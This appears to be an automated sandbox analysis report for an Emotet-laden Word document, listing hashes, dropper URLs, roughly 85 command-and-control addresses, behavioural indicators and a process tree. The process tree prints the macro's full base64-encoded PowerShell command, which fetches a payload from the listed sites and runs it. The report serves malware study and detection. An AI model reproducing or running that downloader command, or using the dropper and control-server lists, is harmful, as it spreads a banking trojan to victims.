emotet | c455c9ceadc985baff4abfb5ffc8f7df42352258be49101b1d45639abf3bad97

Analysis

max time kernel
139s
max time network
136s
platform
windows10_x64
resource
win10v200722
submitted
18/08/2020, 15:57

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General

Target
emotet_e2_c455c9ceadc985baff4abfb5ffc8f7df42352258be49101b1d45639abf3bad97_2020-08-18__155542._doc.doc
Size 173KB
Sample200818-e4hgspwhbx
SHA256 c455c9ceadc985baff4abfb5ffc8f7df42352258be49101b1d45639abf3bad97
MD5 ebdd32a4daf73c7e13215727b267b299
SHA1 d5ede901f6f78bddff78ee913661a96657e75691
SHA512 a6d89c6b1635d14bf651c22d76ccef009f06667ebcec5eb8fd3a75b1c914e25297d964e0a2c4ea1560db14833e7e85499517b4b3a19b33a848685a7a0517bc9c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://fuguluggage.com/wp-content/yog94_z8t_zw8ksk/
exe.dropper
http://connect.dianevenzera.com/cgi-bin/u9lh_i_ivgw/
exe.dropper
http://kajaii.com/dyy/0y_tej_x2wufq52a/
exe.dropper
http://pittsburghteambuilding.com/wp-includes/w_ne_nwof/
exe.dropper
http://www.gvirtz.com/iixi_la1x_65f/
exe.dropper
http://www.ifitmoves.net/3sr5_yxja_bd6v1qt/

Extracted

Family

emotet

64.183.73.122:80
69.30.203.214:8080
67.205.85.243:8080
222.214.218.37:4143
104.236.246.93:8080
110.145.77.103:80
89.186.91.200:443
74.120.55.163:80
95.179.229.244:8080
70.167.215.250:8080
47.146.117.214:80
209.141.54.221:8080
24.43.99.75:80
103.86.49.11:8080
142.105.151.124:443
62.138.26.28:8080
24.179.13.119:80
37.187.72.193:8080
137.59.187.107:8080
97.82.79.83:80
24.137.76.62:80
121.124.124.40:7080
5.196.74.210:8080
81.2.235.111:8080
87.106.139.101:8080
173.62.217.22:443
24.233.112.152:80
87.106.136.232:8080
104.131.11.150:443
201.173.217.124:443
85.66.181.138:80
107.185.211.16:80
68.44.137.144:443
68.188.112.97:80
113.160.130.116:8443
5.39.91.110:7080
95.213.236.64:8080
181.211.11.242:80
188.83.220.2:443
181.230.116.163:80
85.152.162.105:80
104.131.44.150:8080
203.117.253.142:80
169.239.182.217:8080
72.12.127.184:443
75.139.38.211:80
85.105.205.77:8080
168.235.67.138:7080
204.197.146.48:80
200.41.121.90:80
2.58.16.85:7080
190.160.53.126:80
109.116.214.124:443
78.24.219.147:8080
37.70.8.161:80
74.208.45.104:8080
116.203.32.252:8080
185.94.252.104:443
180.92.239.110:8080
79.98.24.39:8080
167.86.90.214:8080
152.168.248.128:443
157.245.99.39:8080
91.211.88.52:7080
41.60.200.34:80
83.169.36.251:8080
37.139.21.175:8080
47.144.21.12:443
61.19.246.238:443
139.130.242.43:80
174.137.65.18:80
157.147.76.151:80
153.163.83.106:80
98.109.204.230:80
176.111.60.55:8080
189.212.199.126:443
62.75.141.82:80
93.51.50.171:8080
190.55.181.54:443
203.153.216.189:7080
109.74.5.95:8080
174.102.48.180:80
93.147.212.206:80
139.59.60.244:8080
46.105.131.79:8080
199.101.86.142:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2880	420	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1000-23-0x0000000000810000-0x000000000081C000-memory.dmp	emotet
behavioral2/memory/1000-23-0x0000000000810000-0x000000000081C000-memory.dmp	emotet
behavioral2/memory/3768-26-0x0000000002170000-0x000000000217C000-memory.dmp	emotet
behavioral2/memory/3768-26-0x0000000002170000-0x000000000217C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
17	2880	powersheLL.exe
19	2880	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1000	Cf7ygw.exe
3768	AuthBrokerUI.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sqlwoa\AuthBrokerUI.exe	Cf7ygw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2880	powersheLL.exe
2880	powersheLL.exe
2880	powersheLL.exe
3768	AuthBrokerUI.exe
3768	AuthBrokerUI.exe
3768	AuthBrokerUI.exe
3768	AuthBrokerUI.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
1000	Cf7ygw.exe
1000	Cf7ygw.exe
3768	AuthBrokerUI.exe
3768	AuthBrokerUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 1000	2880	powersheLL.exe	74
PID 2880 wrote to memory of 1000	2880	powersheLL.exe	74
PID 2880 wrote to memory of 1000	2880	powersheLL.exe	74
PID 1000 wrote to memory of 3768	1000	Cf7ygw.exe	77
PID 1000 wrote to memory of 3768	1000	Cf7ygw.exe	77
PID 1000 wrote to memory of 3768	1000	Cf7ygw.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c455c9ceadc985baff4abfb5ffc8f7df42352258be49101b1d45639abf3bad97_2020-08-18__155542._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABIADkAeAB3AHYANAA3AD0AKAAnAFUAYgBmAGIANAAnACsAJwAzACcAKwAnADEAJwApADsALgAoACcAbgBlAHcALQBpACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgBUAGUAbQBQAFwATwBmAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQByAGkAdABZAFAAcgBPAHQAYABPAGAAQwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0AGwAJwArACcAcwAxACcAKwAnADEAJwArACcALAAnACsAJwAgAHQAbABzACcAKQA7ACQATgBxADUAMABxADQAeAAgAD0AIAAoACcAQwAnACsAJwBmADcAeQAnACsAJwBnAHcAJwApADsAJABTAHAAcAB0AHUAOQBoAD0AKAAnAEUAXwAxAHcAJwArACcAZwAzADYAJwApADsAJABQAGQAXwBfADAANABuAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAJwArACcAfQAnACsAJwBPAGYAZgBpAGMAZQAnACsAJwAyADAAMQA5ACcAKwAnAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAE4AcQA1ADAAcQA0AHgAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFUAaQBnAGgAOQB5AGwAPQAoACcAVAAyAHkAJwArACcANgAnACsAJwBrADgAMAAnACkAOwAkAE8AdgBmAHIAMwBnAHcAPQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAQwBMAGkARQBOAHQAOwAkAE4AMwByAGIAXwAzAGYAPQAoACcAaAB0ACcAKwAnAHQAcABzACcAKwAnADoALwAvAGYAJwArACcAdQBnAHUAbAB1ACcAKwAnAGcAJwArACcAZwBhAGcAZQAuAGMAJwArACcAbwBtAC8AdwAnACsAJwBwAC0AYwBvAG4AdABlAG4AdAAvACcAKwAnAHkAJwArACcAbwBnADkANAAnACsAJwBfAHoAJwArACcAOAB0AF8AJwArACcAegB3ADgAawAnACsAJwBzAGsAJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAuAGQAaQBhAG4AZQB2AGUAbgB6ACcAKwAnAGUAcgBhAC4AJwArACcAYwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAaQBuAC8AdQA5AGwAaAAnACsAJwBfAGkAXwBpAHYAZwB3ACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACsAJwAvAGsAJwArACcAYQAnACsAJwBqAGEAaQBpAC4AYwBvAG0ALwBkAHkAeQAvADAAeQBfAHQAZQBqAF8AJwArACcAeAAyACcAKwAnAHcAdQAnACsAJwBmACcAKwAnAHEANQAyAGEAJwArACcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AcAAnACsAJwBpAHQAdABzAGIAJwArACcAdQByACcAKwAnAGcAaAAnACsAJwB0ACcAKwAnAGUAJwArACcAYQAnACsAJwBtACcAKwAnAGIAdQBpACcAKwAnAGwAJwArACcAZABpAG4AZwAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKwAnAGQAJwArACcAZQBzAC8AdwAnACsAJwBfAG4AZQBfACcAKwAnAG4AdwBvACcAKwAnAGYALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AdwB3ACcAKwAnAHcALgBnAHYAJwArACcAaQByACcAKwAnAHQAegAuAGMAJwArACcAbwBtAC8AJwArACcAaQAnACsAJwBpAHgAaQBfAGwAYQAnACsAJwAxAHgAXwA2ADUAZgAvACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwB3AHcAdwAuACcAKwAnAGkAJwArACcAZgAnACsAJwBpACcAKwAnAHQAJwArACcAbQBvAHYAJwArACcAZQBzACcAKwAnAC4AJwArACcAbgBlAHQALwAnACsAJwAzAHMAcgA1AF8AeQB4ACcAKwAnAGoAYQAnACsAJwBfAGIAZAAnACsAJwA2ACcAKwAnAHYAJwArACcAMQBxAHQALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB5ADgAaABnAGoAbAA9ACgAJwBPADUAXwBjAGMAJwArACcAZwB0ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFkAdwBrADgAZQBwAHIAIABpAG4AIAAkAE4AMwByAGIAXwAzAGYAKQB7AHQAcgB5AHsAJABPAHYAZgByADMAZwB3AC4AIgBEAG8AdwBOAGAAbABPAGAAQQBkAEYASQBsAEUAIgAoACQAWQB3AGsAOABlAHAAcgAsACAAJABQAGQAXwBfADAANABuACkAOwAkAEcAMwBjAHEAYQBvAG0APQAoACcAQwBnADQANQBrACcAKwAnAG4AOQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUABkAF8AXwAwADQAbgApAC4AIgBMAGAAZQBOAEcAVABoACIAIAAtAGcAZQAgADIANAA5ADYAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABQAGQAXwBfADAANABuACkAOwAkAEoAOQB0ADcAeQBpAHUAPQAoACcASAB4ACcAKwAnAGQAeQBqAGcAJwArACcAdgAnACkAOwBiAHIAZQBhAGsAOwAkAEgAdwB0ADYAcwBuAGsAPQAoACcAVgBkAGEAcgAnACsAJwBzAHcAaAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgAxAGkAYQBzAHYAPQAoACcATgAnACsAJwB1ADEAMwAnACsAJwBpAHAANgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Users\Admin\AppData\Local\Temp\Office2019\Cf7ygw.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Cf7ygw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\SysWOW64\sqlwoa\AuthBrokerUI.exe
    "C:\Windows\SysWOW64\sqlwoa\AuthBrokerUI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1000-23-0x0000000000810000-0x000000000081C000-memory.dmp

Download

memory/2880-17-0x00007FF99C560000-0x00007FF99CF4C000-memory.dmp

Download

memory/2880-18-0x0000027AB9A90000-0x0000027AB9A91000-memory.dmp

Download

memory/2880-19-0x0000027AB9D50000-0x0000027AB9D51000-memory.dmp

Download

memory/3768-26-0x0000000002170000-0x000000000217C000-memory.dmp

Download

memory/3816-16-0x00000291123BF000-0x00000291123C6000-memory.dmp

Download

memory/3816-0-0x00007FF9A4270000-0x00007FF9A4936000-memory.dmp

Download

memory/3816-13-0x000002911A186000-0x000002911A18F000-memory.dmp

Download

memory/3816-12-0x000002911C4FF000-0x000002911C527000-memory.dmp

Download

memory/3816-11-0x000002911C4FF000-0x000002911C527000-memory.dmp

Download

memory/3816-10-0x000002911C527000-0x000002911C52C000-memory.dmp

Download

memory/3816-9-0x000002911C4FF000-0x000002911C527000-memory.dmp

Download

memory/3816-15-0x00000291123BF000-0x00000291123C6000-memory.dmp

Download

memory/3816-1-0x000002911BF80000-0x000002911BF84000-memory.dmp

Download

memory/3816-14-0x00000291123BF000-0x00000291123C6000-memory.dmp

Download